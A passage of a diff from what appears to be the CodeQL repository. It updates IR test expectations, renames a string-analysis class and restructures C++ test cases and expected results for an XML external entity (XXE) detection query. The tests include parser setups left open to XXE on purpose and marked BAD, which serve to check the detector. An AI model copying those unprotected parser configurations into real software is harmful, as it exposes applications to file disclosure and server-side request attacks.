+# 1827|     mu1827_8(constructor_only)       = ^IndirectMayWriteSideEffect[-1]   : &:r1827_3
+# 1827|     v1827_9(void)                    = ReturnVoid                        : 
+# 1827|     v1827_10(void)                   = AliasedUse                        : ~m?
+# 1827|     v1827_11(void)                   = ExitFunction                      : 
+
+# 1829| char* global_string
+# 1829|   Block 0
+# 1829|     v1829_1(void)            = EnterFunction                   : 
+# 1829|     mu1829_2(unknown)        = AliasedDefinition               : 
+# 1829|     r1829_3(glval<char *>)   = VariableAddress[global_string]  : 
+# 1829|     r1829_4(glval<char[14]>) = StringConstant["global string"] : 
+# 1829|     r1829_5(char *)          = Convert                         : r1829_4
+# 1829|     r1829_6(char *)          = Convert                         : r1829_5
+# 1829|     mu1829_7(char *)         = Store[global_string]            : &:r1829_3, r1829_6
+# 1829|     v1829_8(void)            = ReturnVoid                      : 
+# 1829|     v1829_9(void)            = AliasedUse                      : ~m?
+# 1829|     v1829_10(void)           = ExitFunction                    : 
+
+# 1831| int global_6
+# 1831|   Block 0
+# 1831|     v1831_1(void)       = EnterFunction             : 
+# 1831|     mu1831_2(unknown)   = AliasedDefinition         : 
+# 1831|     r1831_3(glval<int>) = VariableAddress[global_6] : 
+# 1831|     r1831_4(glval<int>) = VariableAddress[global_2] : 
+# 1831|     r1831_5(int)        = Load[global_2]            : &:r1831_4, ~m?
+# 1831|     mu1831_6(int)       = Store[global_6]           : &:r1831_3, r1831_5
+# 1831|     v1831_7(void)       = ReturnVoid                : 
+# 1831|     v1831_8(void)       = AliasedUse                : ~m?
+# 1831|     v1831_9(void)       = ExitFunction              : 
 
 perf-regression.cpp:
 #    6| void Big::Big()
diff --git a/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_consistency.expected b/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_consistency.expected
index 79887fffc1f..ddb936babaa 100644
--- a/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_consistency.expected
+++ b/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_consistency.expected
@@ -6,6 +6,8 @@ missingOperandType
 duplicateChiOperand
 sideEffectWithoutPrimary
 instructionWithoutSuccessor
+| ir.cpp:1757:28:1757:28 | InitializeParameter: x | Instruction 'InitializeParameter: x' has no successors in function '$@'. | ir.cpp:1757:6:1757:22 | void if_initialization(int) | void if_initialization(int) |
+| ir.cpp:1785:32:1785:32 | InitializeParameter: x | Instruction 'InitializeParameter: x' has no successors in function '$@'. | ir.cpp:1785:6:1785:26 | void switch_initialization(int) | void switch_initialization(int) |
 ambiguousSuccessors
 unexplainedLoop
 unnecessaryPhiInstruction
diff --git a/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_consistency_unsound.expected b/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_consistency_unsound.expected
index 79887fffc1f..ddb936babaa 100644
--- a/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_consistency_unsound.expected
+++ b/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_consistency_unsound.expected
@@ -6,6 +6,8 @@ missingOperandType
 duplicateChiOperand
 sideEffectWithoutPrimary
 instructionWithoutSuccessor
+| ir.cpp:1757:28:1757:28 | InitializeParameter: x | Instruction 'InitializeParameter: x' has no successors in function '$@'. | ir.cpp:1757:6:1757:22 | void if_initialization(int) | void if_initialization(int) |
+| ir.cpp:1785:32:1785:32 | InitializeParameter: x | Instruction 'InitializeParameter: x' has no successors in function '$@'. | ir.cpp:1785:6:1785:26 | void switch_initialization(int) | void switch_initialization(int) |
 ambiguousSuccessors
 unexplainedLoop
 unnecessaryPhiInstruction
diff --git a/cpp/ql/test/library-tests/string_analysis/StringAnalysis.ql b/cpp/ql/test/library-tests/string_analysis/StringAnalysis.ql
index eda9acae5d9..a529b9f7952 100644
--- a/cpp/ql/test/library-tests/string_analysis/StringAnalysis.ql
+++ b/cpp/ql/test/library-tests/string_analysis/StringAnalysis.ql
@@ -5,7 +5,7 @@
 
 import cpp
 
-from AnalysedString s, string str
+from AnalyzedString s, string str
 where
   if s.(StringLiteral).getUnspecifiedType().(DerivedType).getBaseType() instanceof Wchar_t
   then str = "[?]"
diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-611/XXE.expected b/cpp/ql/test/query-tests/Security/CWE/CWE-611/XXE.expected
index 7f05e6d41b8..a4db6155e31 100644
--- a/cpp/ql/test/query-tests/Security/CWE/CWE-611/XXE.expected
+++ b/cpp/ql/test/query-tests/Security/CWE/CWE-611/XXE.expected
@@ -1,80 +1,133 @@
 edges
-| tests.cpp:33:23:33:43 | XercesDOMParser output argument | tests.cpp:35:2:35:2 | p |
-| tests.cpp:46:23:46:43 | XercesDOMParser output argument | tests.cpp:49:2:49:2 | p |
-| tests.cpp:53:19:53:19 | VariableAddress [post update] | tests.cpp:55:2:55:2 | p |
-| tests.cpp:53:23:53:43 | XercesDOMParser output argument | tests.cpp:53:19:53:19 | VariableAddress [post update] |
+| tests2.cpp:20:17:20:31 | SAXParser output argument | tests2.cpp:22:2:22:2 | p |
+| tests2.cpp:33:17:33:31 | SAXParser output argument | tests2.cpp:37:2:37:2 | p |
+| tests3.cpp:23:21:23:53 | call to createXMLReader | tests3.cpp:25:2:25:2 | p |
+| tests3.cpp:60:21:60:53 | call to createXMLReader | tests3.cpp:63:2:63:2 | p |
+| tests3.cpp:67:21:67:53 | call to createXMLReader | tests3.cpp:70:2:70:2 | p |
+| tests5.cpp:27:25:27:38 | call to createLSParser | tests5.cpp:29:2:29:2 | p |
+| tests5.cpp:40:25:40:38 | call to createLSParser | tests5.cpp:43:2:43:2 | p |
+| tests5.cpp:55:25:55:38 | call to createLSParser | tests5.cpp:59:2:59:2 | p |
+| tests5.cpp:81:25:81:38 | call to createLSParser | tests5.cpp:83:2:83:2 | p |
+| tests5.cpp:81:25:81:38 | call to createLSParser | tests5.cpp:83:2:83:2 | p |
+| tests5.cpp:83:2:83:2 | p | tests5.cpp:85:2:85:2 | p |
+| tests5.cpp:85:2:85:2 | p | tests5.cpp:86:2:86:2 | p |
+| tests5.cpp:86:2:86:2 | p | tests5.cpp:88:2:88:2 | p |
+| tests5.cpp:88:2:88:2 | p | tests5.cpp:89:2:89:2 | p |
+| tests.cpp:15:23:15:43 | XercesDOMParser output argument | tests.cpp:17:2:17:2 | p |
+| tests.cpp:28:23:28:43 | XercesDOMParser output argument | tests.cpp:31:2:31:2 | p |
+| tests.cpp:35:19:35:19 | VariableAddress [post update] | tests.cpp:37:2:37:2 | p |
+| tests.cpp:35:23:35:43 | XercesDOMParser output argument | tests.cpp:35:19:35:19 | VariableAddress [post update] |
+| tests.cpp:37:2:37:2 | p | tests.cpp:38:2:38:2 | p |
+| tests.cpp:38:2:38:2 | p | tests.cpp:39:2:39:2 | p |
+| tests.cpp:51:19:51:19 | VariableAddress [post update] | tests.cpp:53:2:53:2 | p |
+| tests.cpp:51:23:51:43 | XercesDOMParser output argument | tests.cpp:51:19:51:19 | VariableAddress [post update] |
+| tests.cpp:53:2:53:2 | p | tests.cpp:54:2:54:2 | p |
+| tests.cpp:54:2:54:2 | p | tests.cpp:55:2:55:2 | p |
+| tests.cpp:55:2:55:2 | p | tests.cpp:56:2:56:2 | p |
 | tests.cpp:55:2:55:2 | p | tests.cpp:56:2:56:2 | p |
 | tests.cpp:56:2:56:2 | p | tests.cpp:57:2:57:2 | p |
-| tests.cpp:69:19:69:19 | VariableAddress [post update] | tests.cpp:71:2:71:2 | p |
-| tests.cpp:69:23:69:43 | XercesDOMParser output argument | tests.cpp:69:19:69:19 | VariableAddress [post update] |
-| tests.cpp:71:2:71:2 | p | tests.cpp:72:2:72:2 | p |
-| tests.cpp:72:2:72:2 | p | tests.cpp:73:2:73:2 | p |
-| tests.cpp:73:2:73:2 | p | tests.cpp:74:2:74:2 | p |
-| tests.cpp:73:2:73:2 | p | tests.cpp:74:2:74:2 | p |
-| tests.cpp:74:2:74:2 | p | tests.cpp:75:2:75:2 | p |
-| tests.cpp:75:2:75:2 | p | tests.cpp:76:2:76:2 | p |
-| tests.cpp:76:2:76:2 | p | tests.cpp:77:2:77:2 | p |
-| tests.cpp:77:2:77:2 | p | tests.cpp:78:2:78:2 | p |
-| tests.cpp:84:23:84:43 | XercesDOMParser output argument | tests.cpp:87:2:87:2 | p |
-| tests.cpp:91:23:91:43 | XercesDOMParser output argument | tests.cpp:98:2:98:2 | p |
-| tests.cpp:103:24:103:44 | XercesDOMParser output argument | tests.cpp:106:3:106:3 | q |
-| tests.cpp:118:24:118:44 | XercesDOMParser output argument | tests.cpp:122:3:122:3 | q |
-| tests.cpp:130:39:130:39 | p | tests.cpp:131:2:131:2 | p |
-| tests.cpp:134:39:134:39 | p | tests.cpp:135:2:135:2 | p |
-| tests.cpp:140:23:140:43 | XercesDOMParser output argument | tests.cpp:144:18:144:18 | q |
-| tests.cpp:140:23:140:43 | XercesDOMParser output argument | tests.cpp:146:18:146:18 | q |
-| tests.cpp:144:18:144:18 | q | tests.cpp:130:39:130:39 | p |
-| tests.cpp:146:18:146:18 | q | tests.cpp:134:39:134:39 | p |
-| tests.cpp:150:19:150:32 | call to createLSParser | tests.cpp:152:2:152:2 | p |
+| tests.cpp:57:2:57:2 | p | tests.cpp:58:2:58:2 | p |
+| tests.cpp:58:2:58:2 | p | tests.cpp:59:2:59:2 | p |
+| tests.cpp:59:2:59:2 | p | tests.cpp:60:2:60:2 | p |
+| tests.cpp:66:23:66:43 | XercesDOMParser output argument | tests.cpp:69:2:69:2 | p |
+| tests.cpp:73:23:73:43 | XercesDOMParser output argument | tests.cpp:80:2:80:2 | p |
+| tests.cpp:85:24:85:44 | XercesDOMParser output argument | tests.cpp:88:3:88:3 | q |
+| tests.cpp:100:24:100:44 | XercesDOMParser output argument | tests.cpp:104:3:104:3 | q |
+| tests.cpp:112:39:112:39 | p | tests.cpp:113:2:113:2 | p |
+| tests.cpp:116:39:116:39 | p | tests.cpp:117:2:117:2 | p |
+| tests.cpp:122:23:122:43 | XercesDOMParser output argument | tests.cpp:126:18:126:18 | q |
+| tests.cpp:122:23:122:43 | XercesDOMParser output argument | tests.cpp:128:18:128:18 | q |
+| tests.cpp:126:18:126:18 | q | tests.cpp:112:39:112:39 | p |
+| tests.cpp:128:18:128:18 | q | tests.cpp:116:39:116:39 | p |
 nodes
-| tests.cpp:33:23:33:43 | XercesDOMParser output argument | semmle.label | XercesDOMParser output argument |
-| tests.cpp:35:2:35:2 | p | semmle.label | p |
-| tests.cpp:46:23:46:43 | XercesDOMParser output argument | semmle.label | XercesDOMParser output argument |
-| tests.cpp:49:2:49:2 | p | semmle.label | p |
-| tests.cpp:53:19:53:19 | VariableAddress [post update] | semmle.label | VariableAddress [post update] |
-| tests.cpp:53:23:53:43 | XercesDOMParser output argument | semmle.label | XercesDOMParser output argument |
+| tests2.cpp:20:17:20:31 | SAXParser output argument | semmle.label | SAXParser output argument |
+| tests2.cpp:22:2:22:2 | p | semmle.label | p |
+| tests2.cpp:33:17:33:31 | SAXParser output argument | semmle.label | SAXParser output argument |
+| tests2.cpp:37:2:37:2 | p | semmle.label | p |
+| tests3.cpp:23:21:23:53 | call to createXMLReader | semmle.label | call to createXMLReader |
+| tests3.cpp:25:2:25:2 | p | semmle.label | p |
+| tests3.cpp:60:21:60:53 | call to createXMLReader | semmle.label | call to createXMLReader |
+| tests3.cpp:63:2:63:2 | p | semmle.label | p |
+| tests3.cpp:67:21:67:53 | call to createXMLReader | semmle.label | call to createXMLReader |
+| tests3.cpp:70:2:70:2 | p | semmle.label | p |
+| tests4.cpp:26:34:26:48 | (int)... | semmle.label | (int)... |
+| tests4.cpp:36:34:36:50 | (int)... | semmle.label | (int)... |
+| tests4.cpp:46:34:46:68 | ... \| ... | semmle.label | ... \| ... |
+| tests4.cpp:77:34:77:38 | flags | semmle.label | flags |
+| tests4.cpp:130:39:130:55 | (int)... | semmle.label | (int)... |
+| tests5.cpp:27:25:27:38 | call to createLSParser | semmle.label | call to createLSParser |
+| tests5.cpp:29:2:29:2 | p | semmle.label | p |
+| tests5.cpp:40:25:40:38 | call to createLSParser | semmle.label | call to createLSParser |
+| tests5.cpp:43:2:43:2 | p | semmle.label | p |
+| tests5.cpp:55:25:55:38 | call to createLSParser | semmle.label | call to createLSParser |
+| tests5.cpp:59:2:59:2 | p | semmle.label | p |
+| tests5.cpp:81:25:81:38 | call to createLSParser | semmle.label | call to createLSParser |
+| tests5.cpp:83:2:83:2 | p | semmle.label | p |
+| tests5.cpp:83:2:83:2 | p | semmle.label | p |
+| tests5.cpp:85:2:85:2 | p | semmle.label | p |
+| tests5.cpp:86:2:86:2 | p | semmle.label | p |
+| tests5.cpp:88:2:88:2 | p | semmle.label | p |
+| tests5.cpp:89:2:89:2 | p | semmle.label | p |
+| tests.cpp:15:23:15:43 | XercesDOMParser output argument | semmle.label | XercesDOMParser output argument |
+| tests.cpp:17:2:17:2 | p | semmle.label | p |
+| tests.cpp:28:23:28:43 | XercesDOMParser output argument | semmle.label | XercesDOMParser output argument |
+| tests.cpp:31:2:31:2 | p | semmle.label | p |
+| tests.cpp:35:19:35:19 | VariableAddress [post update] | semmle.label | VariableAddress [post update] |
+| tests.cpp:35:23:35:43 | XercesDOMParser output argument | semmle.label | XercesDOMParser output argument |
+| tests.cpp:37:2:37:2 | p | semmle.label | p |
+| tests.cpp:38:2:38:2 | p | semmle.label | p |
+| tests.cpp:39:2:39:2 | p | semmle.label | p |
+| tests.cpp:51:19:51:19 | VariableAddress [post update] | semmle.label | VariableAddress [post update] |
+| tests.cpp:51:23:51:43 | XercesDOMParser output argument | semmle.label | XercesDOMParser output argument |
+| tests.cpp:53:2:53:2 | p | semmle.label | p |
+| tests.cpp:54:2:54:2 | p | semmle.label | p |
 | tests.cpp:55:2:55:2 | p | semmle.label | p |
 | tests.cpp:56:2:56:2 | p | semmle.label | p |
+| tests.cpp:56:2:56:2 | p | semmle.label | p |
 | tests.cpp:57:2:57:2 | p | semmle.label | p |
-| tests.cpp:69:19:69:19 | VariableAddress [post update] | semmle.label | VariableAddress [post update] |
-| tests.cpp:69:23:69:43 | XercesDOMParser output argument | semmle.label | XercesDOMParser output argument |
-| tests.cpp:71:2:71:2 | p | semmle.label | p |
-| tests.cpp:72:2:72:2 | p | semmle.label | p |
-| tests.cpp:73:2:73:2 | p | semmle.label | p |
-| tests.cpp:74:2:74:2 | p | semmle.label | p |
-| tests.cpp:74:2:74:2 | p | semmle.label | p |
-| tests.cpp:75:2:75:2 | p | semmle.label | p |
-| tests.cpp:76:2:76:2 | p | semmle.label | p |
-| tests.cpp:77:2:77:2 | p | semmle.label | p |
-| tests.cpp:78:2:78:2 | p | semmle.label | p |
-| tests.cpp:84:23:84:43 | XercesDOMParser output argument | semmle.label | XercesDOMParser output argument |
-| tests.cpp:87:2:87:2 | p | semmle.label | p |
-| tests.cpp:91:23:91:43 | XercesDOMParser output argument | semmle.label | XercesDOMParser output argument |
-| tests.cpp:98:2:98:2 | p | semmle.label | p |
-| tests.cpp:103:24:103:44 | XercesDOMParser output argument | semmle.label | XercesDOMParser output argument |
-| tests.cpp:106:3:106:3 | q | semmle.label | q |
-| tests.cpp:118:24:118:44 | XercesDOMParser output argument | semmle.label | XercesDOMParser output argument |
-| tests.cpp:122:3:122:3 | q | semmle.label | q |
-| tests.cpp:130:39:130:39 | p | semmle.label | p |
-| tests.cpp:131:2:131:2 | p | semmle.label | p |
-| tests.cpp:134:39:134:39 | p | semmle.label | p |
-| tests.cpp:135:2:135:2 | p | semmle.label | p |
-| tests.cpp:140:23:140:43 | XercesDOMParser output argument | semmle.label | XercesDOMParser output argument |
-| tests.cpp:144:18:144:18 | q | semmle.label | q |
-| tests.cpp:146:18:146:18 | q | semmle.label | q |
-| tests.cpp:150:19:150:32 | call to createLSParser | semmle.label | call to createLSParser |
-| tests.cpp:152:2:152:2 | p | semmle.label | p |
+| tests.cpp:58:2:58:2 | p | semmle.label | p |
+| tests.cpp:59:2:59:2 | p | semmle.label | p |
+| tests.cpp:60:2:60:2 | p | semmle.label | p |
+| tests.cpp:66:23:66:43 | XercesDOMParser output argument | semmle.label | XercesDOMParser output argument |
+| tests.cpp:69:2:69:2 | p | semmle.label | p |
+| tests.cpp:73:23:73:43 | XercesDOMParser output argument | semmle.label | XercesDOMParser output argument |
+| tests.cpp:80:2:80:2 | p | semmle.label | p |
+| tests.cpp:85:24:85:44 | XercesDOMParser output argument | semmle.label | XercesDOMParser output argument |
+| tests.cpp:88:3:88:3 | q | semmle.label | q |
+| tests.cpp:100:24:100:44 | XercesDOMParser output argument | semmle.label | XercesDOMParser output argument |
+| tests.cpp:104:3:104:3 | q | semmle.label | q |
+| tests.cpp:112:39:112:39 | p | semmle.label | p |
+| tests.cpp:113:2:113:2 | p | semmle.label | p |
+| tests.cpp:116:39:116:39 | p | semmle.label | p |
+| tests.cpp:117:2:117:2 | p | semmle.label | p |
+| tests.cpp:122:23:122:43 | XercesDOMParser output argument | semmle.label | XercesDOMParser output argument |
+| tests.cpp:126:18:126:18 | q | semmle.label | q |
+| tests.cpp:128:18:128:18 | q | semmle.label | q |
 subpaths
 #select
-| tests.cpp:35:2:35:2 | p | tests.cpp:33:23:33:43 | XercesDOMParser output argument | tests.cpp:35:2:35:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:33:23:33:43 | XercesDOMParser output argument | XML parser |
-| tests.cpp:49:2:49:2 | p | tests.cpp:46:23:46:43 | XercesDOMParser output argument | tests.cpp:49:2:49:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:46:23:46:43 | XercesDOMParser output argument | XML parser |
-| tests.cpp:57:2:57:2 | p | tests.cpp:53:23:53:43 | XercesDOMParser output argument | tests.cpp:57:2:57:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:53:23:53:43 | XercesDOMParser output argument | XML parser |
-| tests.cpp:74:2:74:2 | p | tests.cpp:69:23:69:43 | XercesDOMParser output argument | tests.cpp:74:2:74:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:69:23:69:43 | XercesDOMParser output argument | XML parser |
-| tests.cpp:78:2:78:2 | p | tests.cpp:69:23:69:43 | XercesDOMParser output argument | tests.cpp:78:2:78:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:69:23:69:43 | XercesDOMParser output argument | XML parser |
-| tests.cpp:87:2:87:2 | p | tests.cpp:84:23:84:43 | XercesDOMParser output argument | tests.cpp:87:2:87:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:84:23:84:43 | XercesDOMParser output argument | XML parser |
-| tests.cpp:98:2:98:2 | p | tests.cpp:91:23:91:43 | XercesDOMParser output argument | tests.cpp:98:2:98:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:91:23:91:43 | XercesDOMParser output argument | XML parser |
-| tests.cpp:106:3:106:3 | q | tests.cpp:103:24:103:44 | XercesDOMParser output argument | tests.cpp:106:3:106:3 | q | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:103:24:103:44 | XercesDOMParser output argument | XML parser |
-| tests.cpp:122:3:122:3 | q | tests.cpp:118:24:118:44 | XercesDOMParser output argument | tests.cpp:122:3:122:3 | q | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:118:24:118:44 | XercesDOMParser output argument | XML parser |
-| tests.cpp:131:2:131:2 | p | tests.cpp:140:23:140:43 | XercesDOMParser output argument | tests.cpp:131:2:131:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:140:23:140:43 | XercesDOMParser output argument | XML parser |
-| tests.cpp:135:2:135:2 | p | tests.cpp:140:23:140:43 | XercesDOMParser output argument | tests.cpp:135:2:135:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:140:23:140:43 | XercesDOMParser output argument | XML parser |
-| tests.cpp:152:2:152:2 | p | tests.cpp:150:19:150:32 | call to createLSParser | tests.cpp:152:2:152:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:150:19:150:32 | call to createLSParser | XML parser |
+| tests2.cpp:22:2:22:2 | p | tests2.cpp:20:17:20:31 | SAXParser output argument | tests2.cpp:22:2:22:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests2.cpp:20:17:20:31 | SAXParser output argument | XML parser |
+| tests2.cpp:37:2:37:2 | p | tests2.cpp:33:17:33:31 | SAXParser output argument | tests2.cpp:37:2:37:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests2.cpp:33:17:33:31 | SAXParser output argument | XML parser |
+| tests3.cpp:25:2:25:2 | p | tests3.cpp:23:21:23:53 | call to createXMLReader | tests3.cpp:25:2:25:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests3.cpp:23:21:23:53 | call to createXMLReader | XML parser |
+| tests3.cpp:63:2:63:2 | p | tests3.cpp:60:21:60:53 | call to createXMLReader | tests3.cpp:63:2:63:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests3.cpp:60:21:60:53 | call to createXMLReader | XML parser |
+| tests3.cpp:70:2:70:2 | p | tests3.cpp:67:21:67:53 | call to createXMLReader | tests3.cpp:70:2:70:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests3.cpp:67:21:67:53 | call to createXMLReader | XML parser |
+| tests4.cpp:26:34:26:48 | (int)... | tests4.cpp:26:34:26:48 | (int)... | tests4.cpp:26:34:26:48 | (int)... | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests4.cpp:26:34:26:48 | (int)... | XML parser |
+| tests4.cpp:36:34:36:50 | (int)... | tests4.cpp:36:34:36:50 | (int)... | tests4.cpp:36:34:36:50 | (int)... | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests4.cpp:36:34:36:50 | (int)... | XML parser |
+| tests4.cpp:46:34:46:68 | ... \| ... | tests4.cpp:46:34:46:68 | ... \| ... | tests4.cpp:46:34:46:68 | ... \| ... | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests4.cpp:46:34:46:68 | ... \| ... | XML parser |
+| tests4.cpp:77:34:77:38 | flags | tests4.cpp:77:34:77:38 | flags | tests4.cpp:77:34:77:38 | flags | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests4.cpp:77:34:77:38 | flags | XML parser |
+| tests4.cpp:130:39:130:55 | (int)... | tests4.cpp:130:39:130:55 | (int)... | tests4.cpp:130:39:130:55 | (int)... | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests4.cpp:130:39:130:55 | (int)... | XML parser |
+| tests5.cpp:29:2:29:2 | p | tests5.cpp:27:25:27:38 | call to createLSParser | tests5.cpp:29:2:29:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests5.cpp:27:25:27:38 | call to createLSParser | XML parser |
+| tests5.cpp:43:2:43:2 | p | tests5.cpp:40:25:40:38 | call to createLSParser | tests5.cpp:43:2:43:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests5.cpp:40:25:40:38 | call to createLSParser | XML parser |
+| tests5.cpp:59:2:59:2 | p | tests5.cpp:55:25:55:38 | call to createLSParser | tests5.cpp:59:2:59:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests5.cpp:55:25:55:38 | call to createLSParser | XML parser |
+| tests5.cpp:83:2:83:2 | p | tests5.cpp:81:25:81:38 | call to createLSParser | tests5.cpp:83:2:83:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests5.cpp:81:25:81:38 | call to createLSParser | XML parser |
+| tests5.cpp:89:2:89:2 | p | tests5.cpp:81:25:81:38 | call to createLSParser | tests5.cpp:89:2:89:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests5.cpp:81:25:81:38 | call to createLSParser | XML parser |
+| tests.cpp:17:2:17:2 | p | tests.cpp:15:23:15:43 | XercesDOMParser output argument | tests.cpp:17:2:17:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:15:23:15:43 | XercesDOMParser output argument | XML parser |
+| tests.cpp:31:2:31:2 | p | tests.cpp:28:23:28:43 | XercesDOMParser output argument | tests.cpp:31:2:31:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:28:23:28:43 | XercesDOMParser output argument | XML parser |
+| tests.cpp:39:2:39:2 | p | tests.cpp:35:23:35:43 | XercesDOMParser output argument | tests.cpp:39:2:39:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:35:23:35:43 | XercesDOMParser output argument | XML parser |
+| tests.cpp:56:2:56:2 | p | tests.cpp:51:23:51:43 | XercesDOMParser output argument | tests.cpp:56:2:56:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:51:23:51:43 | XercesDOMParser output argument | XML parser |
+| tests.cpp:60:2:60:2 | p | tests.cpp:51:23:51:43 | XercesDOMParser output argument | tests.cpp:60:2:60:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:51:23:51:43 | XercesDOMParser output argument | XML parser |
+| tests.cpp:69:2:69:2 | p | tests.cpp:66:23:66:43 | XercesDOMParser output argument | tests.cpp:69:2:69:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:66:23:66:43 | XercesDOMParser output argument | XML parser |
+| tests.cpp:80:2:80:2 | p | tests.cpp:73:23:73:43 | XercesDOMParser output argument | tests.cpp:80:2:80:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:73:23:73:43 | XercesDOMParser output argument | XML parser |
+| tests.cpp:88:3:88:3 | q | tests.cpp:85:24:85:44 | XercesDOMParser output argument | tests.cpp:88:3:88:3 | q | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:85:24:85:44 | XercesDOMParser output argument | XML parser |
+| tests.cpp:104:3:104:3 | q | tests.cpp:100:24:100:44 | XercesDOMParser output argument | tests.cpp:104:3:104:3 | q | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:100:24:100:44 | XercesDOMParser output argument | XML parser |
+| tests.cpp:113:2:113:2 | p | tests.cpp:122:23:122:43 | XercesDOMParser output argument | tests.cpp:113:2:113:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:122:23:122:43 | XercesDOMParser output argument | XML parser |
+| tests.cpp:117:2:117:2 | p | tests.cpp:122:23:122:43 | XercesDOMParser output argument | tests.cpp:117:2:117:2 | p | This $@ is not configured to prevent an XML external entity (XXE) attack. | tests.cpp:122:23:122:43 | XercesDOMParser output argument | XML parser |
diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests.cpp
index 237951e7fea..51ae57f54d9 100644
--- a/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests.cpp
+++ b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests.cpp
@@ -1,32 +1,14 @@
-// test cases for rule CWE-611
+// test cases for rule CWE-611 (XercesDOMParser)
 
 #include "tests.h"
 
 // ---
 
-class SecurityManager;
-class InputSource;
-
-class AbstractDOMParser {
-public:
-	AbstractDOMParser();
-
-	void setDisableDefaultEntityResolution(bool); // default is false
-	void setCreateEntityReferenceNodes(bool); // default is true
-	void setSecurityManager(SecurityManager *const manager);
-	void parse(const InputSource &data);
-};
-
 class XercesDOMParser: public AbstractDOMParser {
 public:
 	XercesDOMParser();
 };
 
-class DOMLSParser : public AbstractDOMParser {
-};
-
-DOMLSParser *createLSParser();
-
 // ---
 
 void test1(InputSource &data) {
@@ -145,26 +127,3 @@ void test10(InputSource &data) {
 	test10_doParseC(p, data);
 	test10_doParseC(q, data);
 }
-
-void test11(InputSource &data) {
-	DOMLSParser *p = createLSParser();
-
-	p->parse(data); // BAD (parser not correctly configured)
-}
-
-void test12(InputSource &data) {
-	DOMLSParser *p = createLSParser();
-
-	p->setDisableDefaultEntityResolution(true);
-	p->parse(data); // GOOD
-}
-
-DOMLSParser *g_p1 = createLSParser();
-DOMLSParser *g_p2 = createLSParser();
-InputSource *g_data;
-
-void test13() {
-	g_p1->setDisableDefaultEntityResolution(true);
-	g_p1->parse(*g_data); // GOOD
-	g_p2->parse(*g_data); // BAD (parser not correctly configured) [NOT DETECTED]
-}
diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests.h b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests.h
index ba9fa168d2a..7d745382174 100644
--- a/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests.h
+++ b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests.h
@@ -1,2 +1,26 @@
-// library functions for rule CWE-611
+// library/common functions for rule CWE-611
+
+#define NULL (0)
+
+class SecurityManager;
+class InputSource;
+
+class AbstractDOMParser {
+public:
+	AbstractDOMParser();
+
+	void setDisableDefaultEntityResolution(bool); // default is false
+	void setCreateEntityReferenceNodes(bool); // default is true
+	void setSecurityManager(SecurityManager *const manager);
+	void parse(const InputSource &data);
+};
+
+typedef unsigned int XMLCh;
+
+class XMLUni
+{
+public:
+	static const XMLCh fgXercesDisableDefaultEntityResolution[];
+	static const XMLCh fgXercesHarmlessOption[];
+};
 
diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests2.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests2.cpp
new file mode 100644
index 00000000000..147be557844
--- /dev/null
+++ b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests2.cpp
@@ -0,0 +1,46 @@
+// test cases for rule CWE-611 (SAXParser)
+
+#include "tests.h"
+
+// ---
+
+class SAXParser
+{
+public:
+	SAXParser();
+
+	void setDisableDefaultEntityResolution(bool); // default is false
